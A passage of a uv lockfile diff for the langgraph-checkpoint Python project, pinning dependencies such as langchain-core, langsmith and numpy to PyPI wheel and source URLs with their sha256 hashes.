"https://files.pythonhosted.org/packages/73/07/02e16ed01e04a374e644b575638ec7987ae846d25ad97bcc9945a3ee4b0e/jsonpatch-1.33-py2.py3-none-any.whl", hash = "sha256:0ae28c0cd062bbd8b8ecc26d7d164fbbea9652a1a3693f3b956c1eae5145dade", size = 12898, upload-time = "2023-06-16T21:01:28.466Z" }, +] + +[[package]] +name = "jsonpointer" +version = "3.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/6a/0a/eebeb1fa92507ea94016a2a790b93c2ae41a7e18778f85471dc54475ed25/jsonpointer-3.0.0.tar.gz", hash = "sha256:2b2d729f2091522d61c3b31f82e11870f60b68f43fbc705cb76bf4b832af59ef", size = 9114, upload-time = "2024-06-10T19:24:42.462Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/71/92/5e77f98553e9e75130c78900d000368476aed74276eb8ae8796f65f00918/jsonpointer-3.0.0-py2.py3-none-any.whl", hash = "sha256:13e088adc14fca8b6aa8177c044e12701e6ad4b28ff10e65f2267a90109c9942", size = 7595, upload-time = "2024-06-10T19:24:40.698Z" }, +] + +[[package]] +name = "langchain-core" +version = "1.4.8" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "jsonpatch" }, + { name = "langchain-protocol" }, + { name = "langsmith" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "pyyaml" }, + { name = "tenacity" }, + { name = "typing-extensions" }, + { name = "uuid-utils" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/12/e3/bea6d0080acf183332f24dcd74c208aee5857cf8f783c3fb0bd86027d8fb/langchain_core-1.4.8.tar.gz", hash = "sha256:5bf1f8411077c904182ad8f975943d36adcbf579c4e017b3a118b719229ebf9a", size = 957974, upload-time = "2026-06-18T19:39:23.636Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/13/d6/bdf6f0481cc57ef300d6b1eb48cf1400c0409be715d6eb3cabadd1142a09/langchain_core-1.4.8-py3-none-any.whl", hash = "sha256:d84c28b05e3ba8d4271d0827aad5b592ccdaaf986e76768c23503f0a2045e8aa", size = 557416, upload-time = "2026-06-18T19:39:21.902Z" }, +] + +[[package]] +name = "langchain-protocol" +version = "0.0.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/d2/59/b5959aea96faa9146e2e49a7a22882b3528c62efafe9a6a95beab30c2305/langchain_protocol-0.0.18.tar.gz", hash = "sha256:ec3e11782f1ed0c9db38e5a9ed01b0e7a0d3fba406faa8aef6594b73c56a63e6", size = 6150, upload-time = "2026-06-18T17:08:26.959Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/99/2e/d82db9eec13ad0f72e7aaad5c4bc730ab111934fdc83c85523206eb9b0a0/langchain_protocol-0.0.18-py3-none-any.whl", hash = "sha256:70b53a86fbf9cedc863555effe44da192ab02d556ddbf2cf95b8873adcf41b5a", size = 7221, upload-time = "2026-06-18T17:08:25.996Z" }, +] + +[[package]] +name = "langgraph-checkpoint" +version = "4.1.1" +source = { editable = "." } +dependencies = [ + { name = "langchain-core" }, + { name = "ormsgpack" }, +] + +[package.dev-dependencies] +dev = [ + { name = "codespell" }, + { name = "dataclasses-json" }, + { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "numpy", version = "2.4.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "pandas" }, + { name = "pandas-stubs" }, + { name = "pycryptodome" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "dataclasses-json" }, + { name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" }, + { name = "numpy", version = "2.4.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11'" }, + { name = "pandas" }, + { name = "pandas-stubs" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, +] + +[package.metadata] +requires-dist = [ + { name = "langchain-core", specifier = ">=0.2.38" }, + { name = "ormsgpack", specifier = ">=1.12.0" }, +] + +[package.metadata.requires-dev] +dev = [ + { name = "codespell" }, + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pycryptodome", specifier = ">=3.23.0" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, + { name = "ruff" }, + { name = "ty" }, +] +lint = [ + { name = "codespell" }, + { name = "ruff" }, + { name = "ty" }, +] +test = [ + { name = "dataclasses-json" }, + { name = "numpy" }, + { name = "pandas" }, + { name = "pandas-stubs", specifier = ">=2.2.2.240807" }, + { name = "pytest" }, + { name = "pytest-asyncio" }, + { name = "pytest-mock" }, + { name = "pytest-watcher" }, + { name = "redis" }, +] + +[[package]] +name = "langsmith" +version = "0.8.18" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "httpx" }, + { name = "orjson", marker = "platform_python_implementation != 'PyPy'" }, + { name = "packaging" }, + { name = "pydantic" }, + { name = "requests" }, + { name = "requests-toolbelt" }, + { name = "uuid-utils" }, + { name = "websockets" }, + { name = "xxhash" }, + { name = "zstandard" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/9a/d9/a6681aa9847bbbc5ec21abe20a5e233b94e5edcfe39624db607ac7e8ccb4/langsmith-0.8.18.tar.gz", hash = "sha256:32dde9c0e67e053e0fb738921fc8ced768af7b8fa83d7a0e3fd63597cf8776dd", size = 4526988, upload-time = "2026-06-19T13:12:17.123Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/03/70/0e0cc80a3b064c8d6c8d697c3125ed86e39d5a7393ec6dc8b07cb1cf13c4/langsmith-0.8.18-py3-none-any.whl", hash = "sha256:3940183349993faef48e6c7d08e4822ee9cefd906b362d0e3c2d650314d2f282", size = 508108, upload-time = "2026-06-19T13:12:15.348Z" }, +] + +[[package]] +name = "marshmallow" +version = "3.26.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "packaging" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/79/de6c16cc902f4fc372236926b0ce2ab7845268dcc30fb2fbb7f71b418631/marshmallow-3.26.2.tar.gz", hash = "sha256:bbe2adb5a03e6e3571b573f42527c6fe926e17467833660bebd11593ab8dfd57", size = 222095, upload-time = "2025-12-22T06:53:53.309Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/be/2f/5108cb3ee4ba6501748c4908b908e55f42a5b66245b4cfe0c99326e1ef6e/marshmallow-3.26.2-py3-none-any.whl", hash = "sha256:013fa8a3c4c276c24d26d84ce934dc964e2aa794345a0f8c7e5a7191482c8a73", size = 50964, upload-time = "2025-12-22T06:53:51.801Z" }, +] + +[[package]] +name = "mypy-extensions" +version = "1.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a2/6e/371856a3fb9d31ca8dac321cda606860fa4548858c0cc45d9d1d4ca2628b/mypy_extensions-1.1.0.tar.gz", hash = "sha256:52e68efc3284861e772bbcd66823fde5ae21fd2fdb51c62a211403730b916558", size = 6343, upload-time = "2025-04-22T14:54:24.164Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/79/7b/2c79738432f5c924bef5071f933bcc9efd0473bac3b4aa584a6f7c1c8df8/mypy_extensions-1.1.0-py3-none-any.whl", hash = "sha256:1be4cccdb0f2482337c4743e60421de3a356cd97508abadd57d47403e94f5505", size = 4963, upload-time = "2025-04-22T14:54:22.983Z" }, +] + +[[package]] +name = "numpy" +version = "2.2.6" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version < '3.11'", +] +sdist = { url = "https://files.pythonhosted.org/packages/76/21/7d2a95e4bba9dc13d043ee156a356c0a8f0c6309dff6b21b4d71a073b8a8/numpy-2.2.6.tar.gz", hash = "sha256:e29554e2bef54a90aa5cc07da6ce955accb83f21ab5de01a62c8478897b264fd", size = 20276440, upload-time = "2025-05-17T22:38:04.611Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9a/3e/ed6db5be21ce87955c0cbd3009f2803f59fa08df21b5df06862e2d8e2bdd/numpy-2.2.6-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b412caa66f72040e6d268491a59f2c43bf03eb6c96dd8f0307829feb7fa2b6fb", size = 21165245, upload-time = "2025-05-17T21:27:58.555Z" }, + { url = "https://files.pythonhosted.org/packages/22/c2/4b9221495b2a132cc9d2eb862e21d42a009f5a60e45fc44b00118c174bff/numpy-2.2.6-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:8e41fd67c52b86603a91c1a505ebaef50b3314de0213461c7a6e99c9a3beff90", size = 14360048, upload-time = "2025-05-17T21:28:21.406Z" }, + { url = "https://files.pythonhosted.org/packages/fd/77/dc2fcfc66943c6410e2bf598062f5959372735ffda175b39906d54f02349/numpy-2.2.6-cp310-cp310-macosx_14_0_arm64.whl", hash = "sha256:37e990a01ae6ec7fe7fa1c26c55ecb672dd98b19c3d0e1d1f326fa13cb38d163", size = 5340542, upload-time = "2025-05-17T21:28:30.931Z" }, + { url = "https://files.pythonhosted.org/packages/7a/4f/1cb5fdc353a5f5cc7feb692db9b8ec2c3d6405453f982435efc52561df58/numpy-2.2.6-cp310-cp310-macosx_14_0_x86_64.whl", hash = "sha256:5a6429d4be8ca66d889b7cf70f536a397dc45ba6faeb5f8c5427935d9592e9cf", size = 6878301, upload-time = "2025-05-17T21:28:41.613Z" }, + { url = "https://files.pythonhosted.org/packages/eb/17/96a3acd228cec142fcb8723bd3cc39c2a474f7dcf0a5d16731980bcafa95/numpy-2.2.6-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:efd28d4e9cd7d7a8d39074a4d44c63eda73401580c5c76acda2ce969e0a38e83", size = 14297320, upload-time = "2025-05-17T21:29:02.78Z" }, + { url = "https://files.pythonhosted.org/packages/b4/63/3de6a34ad7ad6646ac7d2f55ebc6ad439dbbf9c4370017c50cf403fb19b5/numpy-2.2.6-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fc7b73d02efb0e18c000e9ad8b83480dfcd5dfd11065997ed4c6747470ae8915", size = 16801050, upload-time = "2025-05-17T21:29:27.675Z" }, + { url = "https://files.pythonhosted.org/packages/07/b6/89d837eddef52b3d0cec5c6ba0456c1bf1b9ef6a6672fc2b7873c3ec4e2e/numpy-2.2.6-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:74d4531beb257d2c3f4b261bfb0fc09e0f9ebb8842d82a7b4209415896adc680", size = 15807034, upload-time = "2025-05-17T21:29:51.102Z" }, + { url = "https://files.pythonhosted.org/packages/01/c8/dc6ae86e3c61cfec1f178e5c9f7858584049b6093f843bca541f94120920/numpy-2.2.6-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:8fc377d995680230e83241d8a96def29f204b5782f371c532579b4f20607a289", size = 18614185, upload-time = "2025-05-17T21:30:18.703Z" }, + { url = "https://files.pythonhosted.org/packages/5b/c5/0064b1b7e7c89137b471ccec1fd2282fceaae0ab3a9550f2568782d80357/numpy-2.2.6-cp310-cp310-win32.whl", hash = "sha256:b093dd74e50a8cba3e873868d9e93a85b78e0daf2e98c6797566ad8044e8363d", size = 6527149, upload-time = "2025-05-17T21:30:29.788Z" }, + { url = "https://files.pythonhosted.org/packages/a3/dd/4b822569d6b96c39d1215dbae0582fd99954dcbcf0c1a13c61783feaca3f/numpy-2.2.6-cp310-cp310-win_amd64.whl", hash = "sha256:f0fd6321b839904e15c46e0d257fdd101dd7f530fe03fd6359c1ea63738703f3", size = 12904620, upload-time = "2025-05-17T21:30:48.994Z" }, + { url = "https://files.pythonhosted.org/packages/da/a8/4f83e2aa666a9fbf56d6118faaaf5f1974d456b1823fda0a176eff722839/numpy-2.2.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f9f1adb22318e121c5c69a09142811a201ef17ab257a1e66ca3025065b7f53ae", size = 21176963, upload-time = "2025-05-17T21:31:19.36Z" }, + { url = "https://files.pythonhosted.org/packages/b3/2b/64e1affc7972decb74c9e29e5649fac940514910960ba25cd9af4488b66c/numpy-2.2.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c820a93b0255bc360f53eca31a0e676fd1101f673dda8da93454a12e23fc5f7a", size = 14406743, upload-time = "2025-05-17T21:31:41.087Z" }, + { url = "https://files.pythonhosted.org/packages/4a/9f/0121e375000b5e50ffdd8b25bf78d8e1a5aa4cca3f185d41265198c7b834/numpy-2.2.6-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:3d70692235e759f260c3d837193090014aebdf026dfd167834bcba43e30c2a42", size = 5352616, upload-time = "2025-05-17T21:31:50.072Z" }, + { url = "https://files.pythonhosted.org/packages/31/0d/b48c405c91693635fbe2dcd7bc84a33a602add5f63286e024d3b6741411c/numpy-2.2.6-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:481b49095335f8eed42e39e8041327c05b0f6f4780488f61286ed3c01368d491", size = 6889579, upload-time = "2025-05-17T21:32:01.712Z" }, + { url = "https://files.pythonhosted.org/packages/52/b8/7f0554d49b565d0171eab6e99001846882000883998e7b7d9f0d98b1f934/numpy-2.2.6-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b64d8d4d17135e00c8e346e0a738deb17e754230d7e0810ac5012750bbd85a5a", size = 14312005, upload-time = "2025-05-17T21:32:23.332Z" }, + { url = "https://files.pythonhosted.org/packages/b3/dd/2238b898e51bd6d389b7389ffb20d7f4c10066d80351187ec8e303a5a475/numpy-2.2.6-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ba10f8411898fc418a521833e014a77d3ca01c15b0c6cdcce6a0d2897e6dbbdf", size = 16821570, upload-time = "2025-05-17T21:32:47.991Z" }, + { url = "https://files.pythonhosted.org/packages/83/6c/44d0325722cf644f191042bf47eedad61c1e6df2432ed65cbe28509d404e/numpy-2.2.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:bd48227a919f1bafbdda0583705e547892342c26fb127219d60a5c36882609d1", size = 15818548, upload-time = "2025-05-17T21:33:11.728Z" }, + { url = "https://files.pythonhosted.org/packages/ae/9d/81e8216030ce66be25279098789b665d49ff19eef08bfa8cb96d4957f422/numpy-2.2.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:9551a499bf125c1d4f9e250377c1ee2eddd02e01eac6644c080162c0c51778ab", size = 18620521, upload-time = "2025-05-17T21:33:39.139Z" }, + { url = "https://files.pythonhosted.org/packages/6a/fd/e19617b9530b031db51b0926eed5345ce8ddc669bb3bc0044b23e275ebe8/numpy-2.2.6-cp311-cp311-win32.whl", hash = "sha256:0678000bb9ac1475cd454c6b8c799206af8107e310843532b04d49649c717a47", size = 6525866, upload-time = "2025-05-17T21:33:50.273Z" }, + { url = "https://files.pythonhosted.org/packages/31/0a/f354fb7176b81747d870f7991dc763e157a934c717b67b58456bc63da3df/numpy-2.2.6-cp311-cp311-win_amd64.whl", hash = "sha256:e8213002e427c69c45a52bbd94163084025f533a55a59d6f9c5b820774ef3303", size = 12907455, upload-time = "2025-05-17T21:34:09.135Z" }, + { url = "https://files.pythonhosted.org/packages/82/5d/c00588b6cf18e1da539b45d3598d3557084990dcc4331960c15ee776ee41/numpy-2.2.6-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:41c5a21f4a04fa86436124d388f6ed60a9343a6f767fced1a8a71c3fbca038ff", size = 20875348, upload-time = "2025-05-17T21:34:39.648Z" }, + { url = "https://files.pythonhosted.org/packages/66/ee/560deadcdde6c2f90200450d5938f63a34b37e27ebff162810f716f6a230/numpy-2.2.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:de749064336d37e340f640b05f24e9e3dd678c57318c7289d222a8a2f543e90c", size = 14119362, upload-time = "2025-05-17T21:35:01.241Z" }, + { url = "https://files.pythonhosted.org/packages/3c/65/4baa99f1c53b30adf0acd9a5519078871ddde8d2339dc5a7fde80d9d87da/numpy-2.2.6-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:894b3a42502226a1cac872f840030665f33326fc3dac8e57c607905773cdcde3", size = 5084103, upload-time = "2025-05-17T21:35:10.622Z" }, + { url = "https://files.pythonhosted.org/packages/cc/89/e5a34c071a0570cc40c9a54eb472d113eea6d002e9ae12bb3a8407fb912e/numpy-2.2.6-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:71594f7c51a18e728451bb50cc60a3ce4e6538822731b2933209a1f3614e9282", size = 6625382, upload-time = "2025-05-17T21:35:21.414Z" }, + { url = "https://files.pythonhosted.org/packages/f8/35/8c80729f1ff76b3921d5c9487c7ac3de9b2a103b1cd05e905b3090513510/numpy-2.2.6-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f2618db89be1b4e05f7a1a847a9c1c0abd63e63a1607d892dd54668dd92faf87", size = 14018462, upload-time = "2025-05-17T21:35:42.174Z" }, + { url = "https://files.pythonhosted.org/packages/8c/3d/1e1db36cfd41f895d266b103df00ca5b3cbe965184df824dec5c08c6b803/numpy-2.2.6-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd83c01228a688733f1ded5201c678f0c53ecc1006ffbc404db9f7a899ac6249", size = 16527618, upload-time = "2025-05-17T21:36:06.711Z" }, + { url = "https://files.pythonhosted.org/packages/61/c6/03ed30992602c85aa3cd95b9070a514f8b3c33e31124694438d88809ae36/numpy-2.2.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:37c0ca431f82cd5fa716eca9506aefcabc247fb27ba69c5062a6d3ade8cf8f49", size = 15505511, upload-time = "2025-05-17T21:36:29.965Z" }, + { url = "https://files.pythonhosted.org/packages/b7/25/5761d832a81df431e260719ec45de696414266613c9ee268394dd5ad8236/numpy-2.2.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fe27749d33bb772c80dcd84ae7e8df2adc920ae8297400dabec45f0dedb3f6de", size = 18313783, upload-time = "2025-05-17T21:36:56.883Z" }, + { url = "https://files.pythonhosted.org/packages/57/0a/72d5a3527c5ebffcd47bde9162c39fae1f90138c961e5296491ce778e682/numpy-2.2.6-cp312-cp312-win32.whl", hash = "sha256:4eeaae00d789f66c7a25ac5f34b71a7035bb474e679f410e5e1a94deb24cf2d4", size = 6246506, upload-time = "2025-05-17T21:37:07.368Z" }, + { url = "https://files.pythonhosted.org/packages/36/fa/8c9210162ca1b88529ab76b41ba02d433fd54fecaf6feb70ef9f124683f1/numpy-2.2.6-cp312-cp312-win_amd64.whl", hash = "sha256:c1f9540be57940698ed329904db803cf7a402f3fc200bfe599334c9bd84a40b2", size = 12614190, upload-time = "2025-05-17T21:37:26.213Z" }, + { url = "https://files.pythonhosted.org/packages/f9/5c/6657823f4f594f72b5471f1db1ab12e26e890bb2e41897522d134d2a3e81/numpy-2.2.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0811bb762109d9708cca4d0b13c4f67146e3c3b7cf8d34018c722adb2d957c84", size = 20867828, upload-time = "2025-05-17T21:37:56.699Z" }, + { url = "https://files.pythonhosted.org/packages/dc/9e/14520dc3dadf3c803473bd07e9b2bd1b69bc583cb2497b47000fed2fa92f/numpy-2.2.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:287cc3162b6f01463ccd86be154f284d0893d2b3ed7292439ea97eafa8170e0b", size = 14143006, upload-time = "2025-05-17T21:38:18.291Z" }, + { url = "https://files.pythonhosted.org/packages/4f/06/7e96c57d90bebdce9918412087fc22ca9851cceaf5567a45c1f404480e9e/numpy-2.2.6-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:f1372f041402e37e5e633e586f62aa53de2eac8d98cbfb822806ce4bbefcb74d", size = 5076765, upload-time = "2025-05-17T21:38:27.319Z" }, + { url = "https://files.pythonhosted.org/packages/73/ed/63d920c23b4289fdac96ddbdd6132e9427790977d5457cd132f18e76eae0/numpy-2.2.6-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:55a4d33fa519660d69614a9fad433be87e5252f4b03850642f88993f7b2ca566", size = 6617736, upload-time = "2025-05-17T21:38:38.141Z" }, + { url = "https://files.pythonhosted.org/packages/85/c5/e19c8f99d83fd377ec8c7e0cf627a8049746da54afc24ef0a0cb73d5dfb5/numpy-2.2.6-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f92729c95468a2f4f15e9bb94c432a9229d0d50de67304399627a943201baa2f", size = 14010719, upload-time = "2025-05-17T21:38:58.433Z" }, + { url = "https://files.pythonhosted.org/packages/19/49/4df9123aafa7b539317bf6d342cb6d227e49f7a35b99c287a6109b13dd93/numpy-2.2.6-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1bc23a79bfabc5d056d106f9befb8d50c31ced2fbc70eedb8155aec74a45798f", size = 16526072, upload-time = "2025-05-17T21:39:22.638Z" }, + { url = "https://files.pythonhosted.org/packages/b2/6c/04b5f47f4f32f7c2b0e7260442a8cbcf8168b0e1a41ff1495da42f42a14f/numpy-2.2.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e3143e4451880bed956e706a3220b4e5cf6172ef05fcc397f6f36a550b1dd868", size = 15503213, upload-time = "2025-05-17T21:39:45.865Z" }, + { url = "https://files.pythonhosted.org/packages/17/0a/5cd92e352c1307640d5b6fec1b2ffb06cd0dabe7d7b8227f97933d378422/numpy-2.2.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b4f13750ce79751586ae2eb824ba7e1e8dba64784086c98cdbbcc6a42112ce0d", size = 18316632, upload-time = "2025-05-17T21:40:13.331Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3b/5cba2b1d88760ef86596ad0f3d484b1cbff7c115ae2429678465057c5155/numpy-2.2.6-cp313-cp313-win32.whl", hash = "sha256:5beb72339d9d4fa36522fc63802f469b13cdbe4fdab4a288f0c441b74272ebfd", size = 6244532, upload-time = "2025-05-17T21:43:46.099Z" }, + { url = "https://files.pythonhosted.org/packages/cb/3b/d58c12eafcb298d4e6d0d40216866ab15f59e55d148a5658bb3132311fcf/numpy-2.2.6-cp313-cp313-win_amd64.whl", hash = "sha256:b0544343a702fa80c95ad5d3d608ea3599dd54d4632df855e4c8d24eb6ecfa1c", size = 12610885, upload-time = "2025-05-17T21:44:05.145Z" }, + { url = "https://files.pythonhosted.org/packages/6b/9e/4bf918b818e516322db999ac25d00c75788ddfd2d2ade4fa66f1f38097e1/numpy-2.2.6-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:0bca768cd85ae743b2affdc762d617eddf3bcf8724435498a1e80132d04879e6", size = 20963467, upload-time = "2025-05-17T21:40:44Z" }, + { url = "https://files.pythonhosted.org/packages/61/66/d2de6b291507517ff2e438e13ff7b1e2cdbdb7cb40b3ed475377aece69f9/numpy-2.2.6-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:fc0c5673685c508a142ca65209b4e79ed6740a4ed6b2267dbba90f34b0b3cfda", size = 14225144, upload-time = "2025-05-17T21:41:05.695Z" }, + { url = "https://files.pythonhosted.org/packages/e4/25/480387655407ead912e28ba3a820bc69af9adf13bcbe40b299d454ec011f/numpy-2.2.6-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:5bd4fc3ac8926b3819797a7c0e2631eb889b4118a9898c84f585a54d475b7e40", size = 5200217, upload-time = "2025-05-17T21:41:15.903Z" }, + { url = "https://files.pythonhosted.org/packages/aa/4a/6e313b5108f53dcbf3aca0c0f3e9c92f4c10ce57a0a721851f9785872895/numpy-2.2.6-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:fee4236c876c4e8369388054d02d0e9bb84821feb1a64dd59e137e6511a551f8", size = 6712014, upload-time = "2025-05-17T21:41:27.321Z" }, + { url = "https://files.pythonhosted.org/packages/b7/30/172c2d5c4be71fdf476e9de553443cf8e25feddbe185e0bd88b096915bcc/numpy-2.2.6-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e1dda9c7e08dc141e0247a5b8f49cf05984955246a327d4c48bda16821947b2f", size = 14077935, upload-time = "2025-05-17T21:41:49.738Z" }, + { url = "https://files.pythonhosted.org/packages/12/fb/9e743f8d4e4d3c710902cf87af3512082ae3d43b945d5d16563f26ec251d/numpy-2.2.6-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f447e6acb680fd307f40d3da4852208af94afdfab89cf850986c3ca00562f4fa", size = 16600122, upload-time = "2025-05-17T21:42:14.046Z" }, + { url = "https://files.pythonhosted.org/packages/12/75/ee20da0e58d3a66f204f38916757e01e33a9737d0b22373b3eb5a27358f9/numpy-2.2.6-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:389d771b1623ec92636b0786bc4ae56abafad4a4c513d36a55dce14bd9ce8571", size = 15586143, upload-time = "2025-05-17T21:42:37.464Z" }, + { url = "https://files.pythonhosted.org/packages/76/95/bef5b37f29fc5e739947e9ce5179ad402875633308504a52d188302319c8/numpy-2.2.6-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8e9ace4a37db23421249ed236fdcdd457d671e25146786dfc96835cd951aa7c1", size = 18385260, upload-time = "2025-05-17T21:43:05.189Z" }, + { url = "https://files.pythonhosted.org/packages/09/04/f2f83279d287407cf36a7a8053a5abe7be3622a4363337338f2585e4afda/numpy-2.2.6-cp313-cp313t-win32.whl", hash = "sha256:038613e9fb8c72b0a41f025a7e4c3f0b7a1b5d768ece4796b674c8f3fe13efff", size = 6377225, upload-time = "2025-05-17T21:43:16.254Z" }, + { url = "https://files.pythonhosted.org/packages/67/0e/35082d13c09c02c011cf21570543d202ad929d961c02a147493cb0c2bdf5/numpy-2.2.6-cp313-cp313t-win_amd64.whl", hash = "sha256:6031dd6dfecc0cf9f668681a37648373bddd6421fff6c66ec1624eed0180ee06", size = 12771374, upload-time = "2025-05-17T21:43:35.479Z" }, + { url = "https://files.pythonhosted.org/packages/9e/3b/d94a75f4dbf1ef5d321523ecac21ef23a3cd2ac8b78ae2aac40873590229/numpy-2.2.6-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0b605b275d7bd0c640cad4e5d30fa701a8d59302e127e5f79138ad62762c3e3d", size = 21040391, upload-time = "2025-05-17T21:44:35.948Z" }, + { url = "https://files.pythonhosted.org/packages/17/f4/09b2fa1b58f0fb4f7c7963a1649c64c4d315752240377ed74d9cd878f7b5/numpy-2.2.6-pp310-pypy310_pp73-macosx_14_0_x86_64.whl", hash = "sha256:7befc596a7dc9da8a337f79802ee8adb30a552a94f792b9c9d18c840055907db", size = 6786754, upload-time = "2025-05-17T21:44:47.446Z" }, + { url = "https://files.pythonhosted.org/packages/af/30/feba75f143bdc868a1cc3f44ccfa6c4b9ec522b36458e738cd00f67b573f/numpy-2.2.6-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce47521a4754c8f4593837384bd3424880629f718d87c5d44f8ed763edd63543", size = 16643476, upload-time = "2025-05-17T21:45:11.871Z" }, + { url = "https://files.pythonhosted.org/packages/37/48/ac2a9584402fb6c0cd5b5d1a91dcf176b15760130dd386bbafdbfe3640bf/numpy-2.2.6-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d042d24c90c41b54fd506da306759e06e568864df8ec17ccc17e9e884634fd00", size = 12812666, upload-time = "2025-05-17T21:45:31.426Z" }, +] + +[[package]] +name = "numpy" +version = "2.4.1" +source = { registry = "https://pypi.org/simple" } +resolution-markers = [ + "python_full_version >= '3.15'", + "python_full_version >= '3.12' and python_full_version < '3.15'", + "python_full_version == '3.11.*'", +] +sdist = { url = "https://files.pythonhosted.org/packages/24/62/ae72ff66c0f1fd959925b4c11f8c2dea61f47f6acaea75a08512cdfe3fed/numpy-2.4.1.tar.gz", hash = "sha256:a1ceafc5042451a858231588a104093474c6a5c57dcc724841f5c888d237d690", size = 20721320, upload-time = "2026-01-10T06:44:59.619Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a5/34/2b1bc18424f3ad9af577f6ce23600319968a70575bd7db31ce66731bbef9/numpy-2.4.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0cce2a669e3c8ba02ee563c7835f92c153cf02edff1ae05e1823f1dde21b16a5", size = 16944563, upload-time = "2026-01-10T06:42:14.615Z" }, + { url = "https://files.pythonhosted.org/packages/2c/57/26e5f97d075aef3794045a6ca9eada6a4ed70eb9a40e7a4a93f9ac80d704/numpy-2.4.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:899d2c18024984814ac7e83f8f49d8e8180e2fbe1b2e252f2e7f1d06bea92425", size = 12645658, upload-time = "2026-01-10T06:42:17.298Z" }, + { url = "https://files.pythonhosted.org/packages/8e/ba/80fc0b1e3cb2fd5c6143f00f42eb67762aa043eaa05ca924ecc3222a7849/numpy-2.4.1-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:09aa8a87e45b55a1c2c205d42e2808849ece5c484b2aab11fecabec3841cafba", size = 5474132, upload-time = 